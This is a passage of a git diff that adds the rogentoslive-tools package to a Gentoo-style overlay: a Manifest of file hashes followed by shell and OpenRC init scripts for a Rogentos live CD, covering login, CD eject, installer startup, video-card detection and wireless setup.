7b73262ae027bc420ac480b6d7d75b83ac11ecc0c9be92157a3e1588169768c7fcd166fecd4edb6785bd8893fdbd3839abc7b6090154e0414096aa3280deec2d +AUX 1.0/rogentos-welcome-loader 291 SHA256 4e4769a0cb0ad3f48f561b0eb82b05214da9d640da170a9c7cd3531051622ca6 SHA512 e015913d25ee59f5f54e4111aa800f6ab1a6a0ba12c3c544d0e1760627820bfde321bea8a2a068fa87dc0c186dcb4a8f2c2b2cce78d2ca1a28276c57d06ed248 WHIRLPOOL f80b071df812f5a6411debf704ded0f7681d15823549c658acb1b250085a6c1778c5054296951eddf537d8bef7c13c51292bec9145f9d663b41116d444f9a3fd +AUX 1.0/rogentos-welcome-loader.desktop 162 SHA256 37cc2ff95764baa148a68f6669be56bd9d6fa6bc805242dcfa8e0fd8d49a44d0 SHA512 21befa3f740a0bddc66e5afb77b3a41dbfcacaefc06e768d8ee272324d6968a66de6155bc5f05d2e788b1df12c424f665041b5315f0aedc12b3dead92ed5fbe3 WHIRLPOOL 2c82ae08b5b6fb290f8f7138aa5f2d29f3c523cc783e07ac8fccd112a1e94a02b393b6f1e83c87e5d9af83cfb9d3c79ff7517dc5a8cce05d438e5b6cbf6722b7 +AUX 1.0/rogentoslive 5493 SHA256 73e8c807293eccc37dc8dedc9c4523ed30c9396416c31c283462e604d8b99a31 SHA512 1da7452ce02839bc5afe831ebfe54a9657244315fa6468020ffd6e0b0a20813045aaa211fc94fb46ab94fc3e69ffa4759f052d41e17a77d0fba7fa262656af0b WHIRLPOOL b2c7000d3614da10d778837faa1938987a957f290827458b3527f847bfba26a5593cb75a572fd265453c26f62ce261ae689f1a235c0228fcf8d5d90c3df93cf0 +AUX 1.0/sabayon-live-check 1018 SHA256 224e7016eb24f96a9260fa38b80bc61b5e1b60f5d76ba076ccd81c4465a1a63d SHA512 e3398f2f42a34405c7584aad03c4b41cbc901f7f1a71e67af5ef402cb8586a8b7d316f72f2d4d5d98516fe2e3dc2a4a515faa245be172ddc8576b1f487101555 WHIRLPOOL e882b714c47c8a4b12e87998b790e237544694d5f4493fef725dc14ff8cfccc67480e8d5cf00a5e5b097324b7de0b837553291eb29efa7d49f495001ffe96d41 +AUX 1.0/sabutil 20352 SHA256 da5df349c68234b4d703420d6c130c0cd489de2ad5751b5a9727e839b528a7bf SHA512 03c2b45b691a70f1110c411f933d0cb626c3ae1dbf61a18de4c1ff825e0b2ea540dd4f35475d7890104c863eb1bec49e7334b85ceb0c7b82f57974955e7a89c3 WHIRLPOOL 0d2fe8931dd42322f2cf1873f12984543efd81c8baa60a830648e472ac6fbf5ffea0260d9e620dfbeb7fc91d348f9314fbd7612d001679d09bfe6410cfd1be1b +AUX 1.0/vga-cmd-parser 1382 SHA256 9b4faeac836b52a0a6550a48babeed40c00ea2cad7674bb1ad037c04791a7ebc SHA512 ce00d59bdd5eb53c870df920bebe4a2925f711751a9fe95cd901089472097c9808bdf321ab6d1a0cc2e0cc3582a9180d3d7d3a1f86f881137f41bdd6fc0ae02e WHIRLPOOL b5f2587adf15f1151c51839e970edfd219fb82d3cbbd1c14410bb4ba6521fc08b6cefaaa44f80cba66a2ac310c650a95b8dcfc484c0bbd15271f3147038f36c4 +AUX 1.0/x-setup-configuration 2144 SHA256 b0570bd3845b83d8814b83d520e0c51c54b2847106a89f007c84314caf8c9521 SHA512 096e8e81d25a7fbab914a6348be92e1f017981417f0592e769b32917818c01300e02dc22c9feff900c2f1374022b49beb770f7a8f6c90f53313c594cee638cd0 WHIRLPOOL 9b927be2b35edc295322c1f2da6a3c64b9ece0a458fe2021d0e02acd61ec08fcfdd7f28f545370684eafe13d9e4bbbb50b59149280421adb934e22678502ad9e +AUX 1.0/x-setup-init.d 2407 SHA256 3499686dd51db7528beeca037b6107e8865ab06666b9a46003081ea77f1b2a55 SHA512 f2fe60cd51676c36bf2167186cecb85f7704b3f04b01ce5072c5567f386b3bf5434057b29cf0a6ecdce1e30437b93b04142b34abe77279e623f9969069c6d9e3 WHIRLPOOL aee8a9d2ea276709ca077a9b48f944529161cd8c4c83c7b2138f17d30e907d0f50befc02c10896c6842b4d89883b7150dd1d6f3b6717633f7063a9fa53cf66e6 +AUX 1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf 113 SHA256 6c273df0f9ab78ab371fac0ef6da9afc802f607eba099defe8ac165e86b89c53 SHA512 36992843d2618128f83e390d49b9b68ccbfcce3701d36cd1ea137d20b1815b58f34f8aab9a47bbbab15489a672050a854097b87b4df42c011ec79cec2d63f3d5 WHIRLPOOL 734d97fa61f4486f1e21010184777f4275b21aeb466fe9c04eda1a4bdf695883e9a77ce5cf289a3a5008c349e2bd362afb395817fdc205cad30fad3a0b56dbf0 +AUX 1.0/xorg.conf.d/90-synaptics.conf 1524 SHA256 97e451a157b38aa718bcb22afb1b5d4ee308937f544653341b856bf8d6791e94 SHA512 c668e6c095d8a0b85f2747cd93abb36a37f1aea95548658aaf3c7db899b516161264ab3feef8e7b4dbff5287496d7883dbe23e2d430a4f9ad73ef4f51615573f WHIRLPOOL 2de3cab6a99223572e4eac784094d93fb1acb8b930e3edad50e276f1b6b9f113e002320dd9485ac77c7e82eee82930b97070b74996cc74c07b8463a2eb887eb6 +AUX 1.0/xorg.conf.rogentos 2194 SHA256 f303a9f2ad64b71c5707548437fed3f556cb25617624891c8b71899988a7d22d SHA512 c90f10395a35d45a422ada932fcfcba8acd3ed6d41560fde57790ed4fe2c471a356abe2ba0e074a6c3ff9a8a4fd452663370f0b583474ff863c112522ef8b4c1 WHIRLPOOL 4cc46973f49a894e11b4ebfa7bc89d7c3875e09897cde2d829142ee0531efd68514c35ed32056845eff5f907285c013bd1c120c3ac236b0a912e7b59a8f7643b +AUX 2/bashlogin 116 SHA256 9385b60eb67e44d36e7806968df3af7dadd57e7e2a392ba4e3b588e51e8fc29d SHA512 c37c20a53896da635a2bf7888e2e0d88f712c1f8cc683dc37cf6f33ba98e0f08d2635eb2448f89376d9699a28e6b63550b0638761b68423291fad913064aa488 WHIRLPOOL 43ac0a64e87f6edd58ec06595986f540b9edbc204eecdf895951b31eb3bc297fdef4c873e5df5cc064311ce166bb49e0776fdc3879cf65e69897c477d78e7cf2 +AUX 2/cdeject 142 SHA256 680d0b8526e098871e44e32afbc91b1296e9eddef38663f1246ee855e906002f SHA512 1b4364c12ae5ecb57d2881d714d293a51705b4ff323d9e6825a78968f108cb72978ff64f3aa30f9575bd96e86f8c09c71d9a6c68aad370d1996c719e5d486930 WHIRLPOOL 5ca2b9d190b56433d1898de158b411e2179c1aa2c5edd9725122f372ab0e5b8ac7428b7d641e91b257bf03f2d75a09ca9171eca185e4d56225b30fec1365b091 +AUX 2/cdeject.service 240 SHA256 acb5048e5f6430f494f05504395ebebb176eb0621b672995aa5ae84035010393 SHA512 aceacdce5d923185778007e3e777ebb2be95d460771867d755e13b4339cc973fb68f92c6850637da661bc3107691a1152eba879de106fefa845fcc21b9ffe00f WHIRLPOOL b7cdcd2bf679491ea69aab440b74a5c4162993911571454014de0d6cb54c7dff251247fab03d1d6af23301a430f067d4452a07894ebf76199ca198115988d78b +AUX 2/cdeject.sh 346 SHA256 1d82065045424902b0aef0bfa893596427f38c72cee3028e053bcd3349df052f SHA512 12c8acad2fc0ba6c9230e96859106575e510592d15fa87da1bfbeaa1cb61effb7ce4d52bc071b0837c5721138eb90c349efd40fd2ec14995a916974fac0b7664 WHIRLPOOL a522c656d50220255eaf49769be51847b154fda555c6a40770b858d0c0f934fb8f004dfb0e30ec6588ee8960cfb89408c6f382d7532bcb5cd4e0e30f02342615 +AUX 2/installer-gui 261 SHA256 5c9b60263a21dae052ed823500f1f053dd39d86e1eaf7b365cc9821e8b14608e SHA512 ba5880a5226c3cc5571cb42848fc23656e8fdcd77e84db420e7bd7d54e006e28d9ca3af6206732a6b3be165f6da0d7ce9cd7afb2aeb9215fd5d37374692d655c WHIRLPOOL cf2d260bd58d116dd793b52d1961d389605ebe0b8e4bca5291a91e87d518691e2272e1e4cd11b2d215ce205e29f42173cbd8d2e2c82489f5ac8eda2ba34203fb +AUX 2/installer-gui.service 223 SHA256 8f71003e4894c3e1c8c235468c3f041397e3abaaa986f9579f3f395bb01cfde8 SHA512 9f7d84ddb98affba2b733da2cf9b8172d962dfe500791d93dcc25b284e31e7b76ac286535ba29c215a2e413e8fe8e3764a8ce92af97810d69f5c8e1e4a6a7d6e WHIRLPOOL ff2eb5b7a99e004f683b77367309814bf6e76a7cd7837c4d5171054c29998d2d5fdafdd614fa040870d9857a452332f10d9be4b897e2e8b15d086e08edb3f25a +AUX 2/installer-gui.sh 136 SHA256 0007224537e1f41031b177917030626a895da0a9d7947649f6b2c7222b9b58c6 SHA512 8a44cca7870db754bded3bcfd0e947d77b7fd50af02ed559f4da93d644cb8daa9aaf2c23ef1f47377d5f35b2ce5869ec8fa7bbe93541ccbde4c2f707ccdc1232 WHIRLPOOL 74e01bb19bff13bd37809cf8d6917874d70cf1488e3c56fb8da0de21687eb318a4bd240b6b1b532d587d0b108072720b31901d91103b07351a0a4b9ea93ca979 +AUX 2/installer-text 239 SHA256 1b06f2a58317ae88349f2437f49a961ff8b98542f0bd8fe9ef1bb40e76fe2f1c SHA512 4b804bfc5ee7978b85b37c0128d7a534236c08c62f19f52842143eb15b1ab83d0826c4a5951549580359cb53b60efc156eda43d89a15e9fcc06fe19f23b0ab50 WHIRLPOOL 29e1dac6c7e430f266fc226a178e5d6c3e803c79dd036d05dd6df2e9eb56f9296e18c2fb37808715dcfd092f5bc5792431151cebbec7f88d453754179116d6a8 +AUX 2/installer-text.service 199 SHA256 099d53635338c99a7c6c1596125517e3b8a21696a320b01814659e6b07f0858b SHA512 5acac7e4632998e2aeccba0504231efc30c4e45dd09e36080cae5644d204a24091e440b1d149a9e0da596f0a91484126b0dea583c2c858cc669e1c2d4d1879fb WHIRLPOOL 3a97c7cfba0b497376e303806ab04f6c0ed6ac7195f958a011d7c975f6250e8800be65a21fe9ca8e2dfd817affe3eaeb11ee4f7a5278d9325c7f3572fe2399ff +AUX 2/installer-text.sh 112 SHA256 d070ad9ac9029804eab3964311004a46a28c4b6b8e228923ee24de211e3ddc77 SHA512 d2fa1e856bcf42c7337137231c57aea64a4e3721c3ea72bf4d385749acaf075ba82fba5aea2a1e2f4a92bb20c8c0cc69942f83b3f5d649dbdd1a705ff6243d37 WHIRLPOOL 8737b11b6d54ec891c52bcbbc047ee0007726926524c206bdc2354320d0b97fe007ddc383585266759c610f333d7e831340b731e77fc200238b9bfd093810256 +AUX 2/livecd-functions.sh 17462 SHA256 27b8d53bd2727807e846446842e2f669e21c9169b894b3cdfb2a38ac27cc54f0 SHA512 64e3753e355cf7f9daf2b8b97436d1bad6ed493d7c948e40aadb2733632e124ccabfa41572587bc9c09a62b56cf19f07bc683c1c8bbf20c680b7da38f82855c6 WHIRLPOOL 5e94b1da4ef19fe126a7a5d6e05f9c1ea3a98e4925c34402fc359d0df6c547c9103868ab612fe2262d11bec209a39af75d41e80e441d2c52c81306a0eefa470c +AUX 2/livespawn 193 SHA256 256c51d66e8bcaa82e9a52ebf70fe947000dc43c2d9df0c73d045f624e615cbe SHA512 9e4d2f929c473560f47e86721be6bc65336a2adcc83a034ae945b1c5e2db21a215042b4d31a9b6b1865d40a12c92aa349df37149a4a48ec6c47680d584a65c3e WHIRLPOOL 291de20dab535565287f1b712f3be01cd67e262df71dde74d33f45fbc25a74116f372c09ad73cef1f94be8fd80dd4486d59ca41d3b5eb364dfd05f8e361de63b +AUX 2/logscript.sh 3556 SHA256 4d122503b5e31d387668d754662cc546a86f9fc2c1493beda73c6110e24061b6 SHA512 9dbb81daafdf085bb36b5c8b5991868ddf1951080dd56217b8ffaeebaed94ff4072136de2d0e0b42fde35daf0845fa541b0b7090830a5e69f94a5f36b988b206 WHIRLPOOL e6c871f46089acb3070fa4194c98a38a0c6ad314e083bdcde795aeecb0f5b58b8ac05a56500fd23bf21da07744690692375118815ec2dc95f2f42160cec5e9af +AUX 2/net-setup 1529 SHA256 41f5fdf35752837e69e958b7082339146c2c8e2e3470add2cd2eab4092d50d9a SHA512 22e394897b1bcfdb8ec9fba841316a14b235f22e61571e5731928eb6751b44a44d7cb2cc24c60c5f88b5216902933ffeceeb5b87ae358a91cd1a3a6368bbff76 WHIRLPOOL 2b2f366e4a93ebe0abb16f984efb296fc6e92ba1cd9c07309b683787ce65ca5bef3572454e5e955aaaf2786366a385a9b500f0645ac9d896aca6f700429bfb01 +AUX 2/rogentos-functions.sh 7986 SHA256 ff791f88fd2df3d9eb1727d5e9517a212b7a41e7b8656f2280642ceb3f33213a SHA512 cf171c4eb0b8b6fe985756e4b829b4a2161d451041530407ad39e6eeb2b4de0e4741aa6f600ab49e408d9e2c366522d53d040c4c0d7fce3fce5a66bc27745e7a WHIRLPOOL af4a143b7e393fbd32092716121f782f7b6eeb3eb7ba505fb410b76524af7258ea9ea759f243225a662a87b92d0bfcbafa5e739fc132b55baf4e92bdc8f82cdd +AUX 2/rogentos-live-check 1051 SHA256 bdcaf1d3824bcb3ad9011ef751483516fcbee5f78e3e80060ca32e6f17c89e5d SHA512 c2394e52d2bd0b3b5a3716c7b0d2abfa379a45d1e65c7d9b213c2c7915c7bd83f01544330dbfae416fadd6d66cc220b36f29bf19680f6473dad9dd4e80877cb4 WHIRLPOOL d497b666f46ab85037839d6624ad841efe9eb9afb201e21406d260d23a90dd80cfb1f8b0555279f2acf4b210b1bb273ff8672fc94e86778b29cc57fd6ef2463f +AUX 2/rogentos-welcome-loader 293 SHA256 e48a5c25bbb2d40f1ab5716afaef4e24ee78eb7551deeb49f84d64dee65de7f4 SHA512 831b9fc9c883f7608fe7f11c611be4f23adf05b2d02ade8571dc6fcee851c682fa743499124a1f8efb4a7b2d0b7792b753a9adccc08dc746ed308f5ed50b7ebc WHIRLPOOL 788f8a25dd6f3f4c2bee6889296878a67d3e9e33c27008f27883874f7d55397cf6b56de4faa150eaabbde8593b8b5345341d998c82a8e3ac4cba5a40bfd7e938 +AUX 2/rogentos-welcome-loader.desktop 164 SHA256 9eacbce2aea378cad43daf2daf438df142b22c3f2887f9924d144ba182d45991 SHA512 4435663429aef3f03905c88e075f1123e3dbd90f6d33de8d4d66a6d5eaf1c061ed96f89691e853c5474f28aa5a8b5ec7e05601433b6a8c9732154ad7df140f53 WHIRLPOOL b010d529dadc7c77b39cdc8b33c7c7d59f3f2dfeac4322ea5117232710ab10d44d4e6651de8245772c49a1b1c5d1f1beb34df27567eae61a5d1aac6363832f4f +AUX 2/rogentoslive 243 SHA256 a0ed9791744a6095bd2dc7949c0bafaeec311061f8e1d009fec9db8828bc6321 SHA512 52e7cb876d1cf94a4a9ce72e3669580352d24772c49d8b6e0148f734522aea9ba8272357c4d731f2e00eea52013ee5cc4b8af2cd29e4eaa7c8286f2f67e1247f WHIRLPOOL cf80c21092636b0d7b9f814a7be160e534cd3052eda2330e97366c8267fe260cc549699ef209c3344f4efe3bbff8748a9a8e78d44ce7883ad1a034cd811b86a7 +AUX 2/rogentoslive.service 211 SHA256 9ef54dd32b349dd6e4b1044c0a763aa8ddf11026ff5b4b94cf814345af15ec2d SHA512 504184fc5a74f8e43d4b7056c32287c2a44115dd7cc1316be59c924ddbbab7e4f8e549cf7fdd50634b68ee8ecfe1b2fea5343ca96f51247f8f0e105a6ac5b4f1 WHIRLPOOL 1f5c1bb91cc6a4e47b0c726b17198fa7dc5dcb2add550bfba7d1aa158abd7c9a406398d128441eefee0736ede090abdb5a92c728ca8a2f08b07e4131490c91c4 +AUX 2/rogentoslive.sh 5515 SHA256 c2009b1628e47434becbec2945e84c76f917397397e376bbf5936404c08ef70d SHA512 19cceb09bac5b7864308707aafd059f8104625d661afa66b990c0f58ff26c0e381197d80ce31fd070eda3cca4934efb696f851ca8086fb83119351c767a0af05 WHIRLPOOL a7f5cc0c51a796c3ccad26332a4094cb55dcf86f493cdc54542aad7a96717e70d119ecf99513bd1d9842a7b211c97c4707b058353aff57550986b265205b5f79 +AUX 2/sabutil 20355 SHA256 d33607d498088fddc7272a7be598514bc598563fb4482bde014821939f5a1887 SHA512 013739d2726f7a3c0f85bfdda494d83d01a06234695dabafe4c7e8e892b4d282b9148be4a5b7ce3cf3805b52fa424102422a0fb33faae7993d68a32e34a3a8f3 WHIRLPOOL 7ac0c36cb4b5ea10eb27adbf5176042d9eca8b38ab2c999da97654b090f00e6e020f2658495b5c60195ae48eaccb76e7bfbb6ec9cc2ec775061480cbfda54a72 +AUX 2/vga-cmd-parser 1382 SHA256 9b4faeac836b52a0a6550a48babeed40c00ea2cad7674bb1ad037c04791a7ebc SHA512 ce00d59bdd5eb53c870df920bebe4a2925f711751a9fe95cd901089472097c9808bdf321ab6d1a0cc2e0cc3582a9180d3d7d3a1f86f881137f41bdd6fc0ae02e WHIRLPOOL b5f2587adf15f1151c51839e970edfd219fb82d3cbbd1c14410bb4ba6521fc08b6cefaaa44f80cba66a2ac310c650a95b8dcfc484c0bbd15271f3147038f36c4 +AUX 2/x-setup-configuration 1717 SHA256 292cdcd86d1fe3e1b47096139ad5f0a5f085de3478f047ae5c0f276e2b1152da SHA512 96643da3683d8fc7d50486f87ad6f82c01d694741b51d72da4ea8f4b31b210706b4990746cde280cb5a05fc3e8b2f0a2687db19205a8e3ffe7fd890296fa7b36 WHIRLPOOL bca657f0f936c44892fef83fab84f919381112e486b5d4b720f3f0f99b532dc1562553cf8cd6eed0db15208746d115127c9e8bc8b49d05d5d68d46a22ab7ddd5 +AUX 2/x-setup-init.d 547 SHA256 a170da2c5f8b5608bb9a18d201cf1bedf65c9961232bb04efb0aa46fa9fb1513 SHA512 ab4bccf657f49de516aa23cd3001f2fefeee77141e81dc54eaa7fc36f9075776c84ea8bae85c208f23646ddde887fe05fabbf5cd00099d1d1914481f141cd3fb WHIRLPOOL 83b8ce706316f711940a4fd16842e1d6d0f670752aabaf09dab1ba5f0247e27f9202be7584355e75a56dc29706c6bfadb25b14c2ae4cda258f5fe3ddccd55d47 +AUX 2/x-setup.service 279 SHA256 0bbb45092660c514fda350d81eabbf549dddf888b27cd3c57d0a972cca6f6f92 SHA512 14dbf061e64afd1730b73fbfd5dff0dce3d864375a4e2150f78cfe7f6677b6f878f50c1bc85b69ce837d36fe580db3f05e678f04ee48ce76b93cc1871e3581f6 WHIRLPOOL 218b52661c0eaf945f88d6489164349284f3cbc3a3313bf141249f4566c3b87370fb460e5933afb5479f7dd6480da4ff7fc828c443f425eac099e9324927b42f +AUX 2/x-setup.sh 1507 SHA256 6b7ff801e183d49a44bfdbb682f094d5d4ef65904afc22ecc192c40aa8a98913 SHA512 db8362e947ddb485b1a2e3b4ae1b4e122a5894992a3380f89488a1f8160d809916aad690e36c00624ae8c5c4e56ce2899871f9aa771d4f1d52c488a39cd05b58 WHIRLPOOL de2fc6f0147d81cd847f299342912342d4cec87118fbc99e790d31ef1e337ed76b8d28c612bd90f5260d8e776203674a07fe030520b0e9ba57201a9cc8f5f976 +EBUILD rogentoslive-tools-1.0-r1.ebuild 2136 SHA256 fda7dd4907a8354dde4fb88a39bac992137be4408d9a5c54f32c9d05fb4db0f7 SHA512 c9d79a18eefd4373324595ee6cb61a82d094a411b8928c56ec9b1f8ff06e9165a0e871d9454657fbd081d7a395cea591b1e58a9f7bf386e7644570e7dd23f706 WHIRLPOOL f466122940a523a63103d7933c035e9c3b3d40b107721118fcefba7d0efc0b316a0f39890e0beb556d4aa7414efdfcb9676765d9b4b70ae7e4b2c30cb3a4f1fd +EBUILD rogentoslive-tools-2.ebuild 1662 SHA256 e5b7b22e5f1588be925f9d373c67ebe656ab8a4abb2fdad2e0c4fa8b5f585f9d SHA512 417ae22eb337aaeef1dc8f4db942eeb55e973b34b8201de6ef6fe436faee46d3a3e3cf0d4eeee9b33c8eeb48a1366be8f32180bf741ba8d143168d09a5e40995 WHIRLPOOL 64c4574d160eeb360d47072d1b84578fea4d66c41e1af0aaac33d85174a08957755d0cad36b4d6a10b68d0bc912746ffe7c6efba51fe4c6ac863b7919c1bc204 diff --git a/app-misc/rogentoslive-tools/files/1.0/bashlogin b/app-misc/rogentoslive-tools/files/1.0/bashlogin new file mode 100755 index 00000000..34689189 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/bashlogin @@ -0,0 +1,6 @@ +#!/bin/bash + +cat /etc/motd 2>/dev/null +cd /root +[[ -e .bash_profile ]] && source .bash_profile +exec -l /bin/bash -i diff --git a/app-misc/rogentoslive-tools/files/1.0/cdeject b/app-misc/rogentoslive-tools/files/1.0/cdeject new file mode 100644 index 00000000..6d56f043 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/cdeject @@ -0,0 +1,23 @@ +#!/sbin/runscript +# Copyright (c) 2010 Fabio Erculiani +# All rights reserved. Released under the 2-clause BSD license. + +description="Eject LiveCD/DVD at live system shutdown/reboot" + +depend() +{ + after * +} + +start() +{ + is_live=$(cat /proc/cmdline | grep cdroot) + if [ -n "${is_live}" ]; then + cdrom_dev=$(cat /proc/mounts | grep " /mnt/cdrom " | cut -d" " -f 1) + # check if /mnt/cdrom device is a cdrom device + if [ "${cdrom_dev}" = /dev/sr* ] || [ "${cdrom_dev}" = /dev/cdrom* ]; then + eject -mp "${cdrom_dev}" &> /dev/null + fi + fi + eend 0 +} diff --git a/app-misc/rogentoslive-tools/files/1.0/installer-gui b/app-misc/rogentoslive-tools/files/1.0/installer-gui new file mode 100755 index 00000000..d8fd3dc0 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/installer-gui @@ -0,0 +1,26 @@ +#!/sbin/runscript +# Copyright 2006 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 + +depend() { + before xdm + after rogentos + need dbus +} + +start() { + + source /sbin/rogentos-functions.sh + + if sabayon_is_gui_install; then + ebegin "Rogentos Linux GUI Installer service" + # Enable autologin + sabayon_setup_autologin + # Setup GUI installer + sabayon_setup_gui_installer + eend 0 + fi + + return 0 + +} diff --git a/app-misc/rogentoslive-tools/files/1.0/installer-text b/app-misc/rogentoslive-tools/files/1.0/installer-text new file mode 100755 index 00000000..ce431e53 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/installer-text @@ -0,0 +1,21 @@ +#!/sbin/runscript +# Copyright 2006 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 + +depend() { + after * +} + +start() { + + source /sbin/rogentos-functions.sh + + if sabayon_is_text_install; then + ebegin "Rogentos Linux Text Installer service" + eend 0 + sabayon_setup_text_installer + fi + + + +} diff --git a/app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh b/app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh new file mode 100755 index 00000000..b65a5f80 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh @@ -0,0 +1,634 @@ +#!/bin/bash + +# Global Variables: +# CDBOOT -- is booting off CD +# LIVECD_CONSOLE -- console that is specified on commandline +# -- (ttyS0, etc) Only defined if passed to kernel +# LIVECD_CONSOLE_BAUD -- console baudrate specified +# LIVECD_CONSOLE_PARITY -- console parity specified +# LIVECD_CONSOLE_DATABITS -- console databits specified + +[[ ${RC_GOT_FUNCTIONS} != "yes" ]] && \ + [[ -e /etc/init.d/functions.sh ]] && \ + source /etc/init.d/functions.sh + +# emulating einfo since it's not always available from functions.sh +# FIXME: fix functions.sh +einfo() { + [[ -x "/lib/rc/bin/einfo" ]] && /lib/rc/bin/einfo "${1}"\ + || echo "* ${1}" +} + +livecd_parse_opt() { + case "$1" in + *\=*) + echo "$1" | cut -f2 -d= + ;; + esac +} + +livecd_check_root() { + if [ "$(whoami)" != "root" ] + then + echo "ERROR: must be root to continue" + return 1 + fi +} + +livecd_get_cmdline() { + echo "0" > /proc/sys/kernel/printk + CMDLINE=$(cat /proc/cmdline) + export CMDLINE +} + +no_gl() { +# einfo "If you have a card that you know is supported by either the ATI or" +# einfo "NVIDIA binary drivers, please file a bug with the output of lspci" +# einfo "on http://bugs.gentoo.org so we can resolve this." + GLTYPE=xorg-x11 +} + +ati_gl() { + einfo "ATI card detected." + if [ -e /usr/lib/xorg/modules/drivers/fglrx_drv.so ] \ + || [ -e /usr/lib/modules/drivers/fglrx_drv.so ] + then + GLTYPE=ati + else + GLTYPE=xorg-x11 + fi +} + +nv_gl() { + einfo "NVIDIA card detected." + if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \ + || [ -e /usr/lib/modules/drivers/nvidia_drv.so ] + then + GLTYPE=nvidia + else + GLTYPE=xorg-x11 + fi +} + +nv_no_gl() { + einfo "NVIDIA card detected." + echo + if [ -e /usr/lib/xorg/modules/drivers/nvidia_drv.so ] \ + || [ -e /usr/lib/modules/drivers/nvidia_drv.so ] + then + einfo "This card is not supported by the latest version of the NVIDIA" + einfo "binary drivers. Switching to the X server's driver instead." + fi + GLTYPE=xorg-x11 + sed -i 's/nvidia/nv/' /etc/X11/xorg.conf +} + +get_video_cards() { + [ -x /sbin/lspci ] && VIDEO_CARDS="$(/sbin/lspci | grep ' VGA ')" + [ -x /usr/sbin/lspci ] && VIDEO_CARDS="$(/usr/sbin/lspci | grep ' VGA ')" + #NUM_CARDS="$(echo ${VIDEO_CARDS} | wc -l)" + #if [ ${NUM_CARDS} -eq 1 ] # Disabled to support NVIDIA SLI devices + #then + NVIDIA=$(echo ${VIDEO_CARDS} | grep -i "nVidia Corporation") + ATI=$(echo ${VIDEO_CARDS} | grep -i "ATI Technologies") + if [ -n "${NVIDIA}" ] + then + # Always set NVIDIA OpenGL, since it's stupid doing the contrary because: + # there's no X.Org free driver that supports OpenGL through MESA + nv_gl + elif [ -n "${ATI}" ] + then + ATI_CARD=$(echo ${ATI} | awk 'BEGIN {RS=" "} /(R|RV|RS|M)[0-9]+/ {print $1}') + if [ $(echo ${ATI_CARD} | grep S) ] + then + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dS -f2) + elif [ $(echo ${ATI_CARD} | grep V) ] + then + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dV -f2) + elif [ $(echo ${ATI_CARD} | grep M) ] + then + # ATI Technologies Inc. M52 [ ATI Mobility Radeon X1300 ] + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dM -f2) + else + ATI_CARD_OUT=$(echo ${ATI_CARD} | cut -dR -f2) + fi + + if [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 300 ] + then + ati_gl + elif [ -n "${ATI_CARD_OUT}" ] && [ -n "`echo ${ATI_CARD} | grep M`" ] + then + # this is an ATI Mxx card + ati_gl + # >8.29.6 does not support R200 anymore + elif [ -n "${ATI_CARD_OUT}" ] && [ ${ATI_CARD_OUT} -ge 200 ] + then + no_gl + else + # set ATI OpenGL anyway + ati_gl + fi + else + no_gl + fi + #fi +} + +livecd_config_wireless() { + cd /tmp/setup.opts + [ -x /usr/sbin/iwconfig ] && iwconfig=/usr/sbin/iwconfig + [ -x /sbin/iwconfig ] && iwconfig=/sbin/iwconfig + dialog --title "SSID" --inputbox "Please enter your SSID, or leave blank for selecting the nearest open network" 20 50 2> ${iface}.SSID + SSID=$(tail -n 1 ${iface}.SSID) + if [ -n "${SSID}" ] + then + dialog --title "WEP (Part 1)" --menu "Does your network use encryption?" 20 60 7 1 "Yes" 2 "No" 2> ${iface}.WEP + WEP=$(tail -n 1 ${iface}.WEP) + case ${WEP} in + 1) + dialog --title "WEP (Part 2)" --menu "Are you entering your WEP key in HEX or ASCII?" 20 60 7 1 "HEX" 2 "ASCII" 2> ${iface}.WEPTYPE + WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE) + case ${WEP_TYPE} in + 1) + dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in the form of XXXX-XXXX-XX for 64-bit or XXXX-XXXX-XXXX-XXXX-XXXX-XXXX-XX for 128-bit" 20 50 2> ${iface}.WEPKEY + WEP_KEY=$(tail -n 1 ${iface}.WEPKEY) + if [ -n "${WEP_KEY}" ] + then + ${iwconfig} ${iface} essid "${SSID}" + ${iwconfig} ${iface} key "${WEP_KEY}" + fi + ;; + 2) + dialog --title "WEP (Part 3)" --inputbox "Please enter your WEP key in ASCII form. This should be 5 or 13 characters for either 64-bit or 128-bit encryption, repectively" 20 50 2> ${iface}.WEPKEY + WEP_KEY=$(tail -n 1 ${iface}.WEPKEY) + if [ -n "${WEP_KEY}" ] + then + ${iwconfig} ${iface} essid "${SSID}" + ${iwconfig} ${iface} key "s:${WEP_KEY}" + fi + ;; + esac + ;; + 2) + ${iwconfig} ${iface} essid "${SSID}" + ${iwconfig} ${iface} key off + ;; + esac + fi +} + +livecd_write_wireless_conf() { + cd /tmp/setup.opts + SSID=$(tail -n 1 ${iface}.SSID) + if [ -n "${SSID}" ] + then + echo "" >> /etc/conf.d/net + echo "# This wireless configuration file was built by net-setup" > /etc/conf.d/net + WEP=$(tail -n 1 ${iface}.WEPTYPE) + case ${WEP} in + 1) + WEP_TYPE=$(tail -n 1 ${iface}.WEPTYPE) + if [ -n "${WEP_TYPE}" ] + then + WEP_KEY=$(tail -n 1 ${iface}.WEPKEY) + if [ -n "${WEP_KEY}" ] + then + SSID_TRANS=$(echo ${SSID//[![:word:]]/_}) + case ${WEP_TYPE} in + 1) + echo "key_${SSID_TRANS}=\"${WEP_KEY} enc open\"" >> /etc/conf.d/net + ;; + 2) + echo "key_${SSID_TRANS}=\"s:${WEP_KEY} enc open\"" >> /etc/conf.d/net + ;; + esac + fi + fi + ;; + 2) + : + ;; + esac + echo "preferred_aps=( \"${SSID}\" )" >> /etc/conf.d/net + echo "associate_order=\"forcepreferredonly\"" >> /etc/conf.d/net + fi +} + +livecd_config_ip() { + cd /tmp/setup.opts + dialog --title "TCP/IP 